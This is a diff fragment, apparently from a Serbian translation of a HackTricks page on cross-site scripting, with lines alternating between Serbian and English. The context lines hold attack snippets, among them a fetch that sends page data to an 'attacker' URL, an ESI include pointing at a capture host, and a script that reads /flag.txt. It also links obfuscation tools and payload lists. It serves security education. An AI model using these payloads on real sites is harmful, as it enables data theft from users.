* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako:
```html
@ -998,7 +996,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
});
```
Zato, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
{% code overflow="wrap" %}
```javascript
@ -1045,7 +1043,7 @@ trigger()
```
### Obfuscation & Advanced Bypass
* **Različite obfuskacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* **Različite obfuscacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1133,7 +1131,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
xhr.open('GET', url, true);
xhr.send(null);
```
### Pronađite interne IP adrese
### Pronađi interne IP adrese
```html
<script>
var q = []
@ -1326,7 +1324,7 @@ console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
```
### Lista Brute-Force
### Brute-Force Lista
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
@ -1346,13 +1344,13 @@ Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **da to unapredite na
```python
<esi:include src="http://yoursite.com/capture" />
```
Iskoristite to da zaobiđete ograničenja kolačića, XSS filtre i još mnogo toga!\
Use it to bypass cookie restrictions, XSS filters and much more!\
Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS u dinamički kreiranim PDF-ovima
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bot** koji kreira PDF da **izvrši proizvoljni JS kod**.\
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, a vi možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1370,7 +1368,7 @@ AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uklju
Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje specifične AMP komponente na emailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih emailova.
Primer [**izveštaja o XSS u Amp4Email u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
Primer [**writeup XSS u Amp4Email u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS učitavanje fajlova (svg)
@ -1448,21 +1446,21 @@ Find **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](ht
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}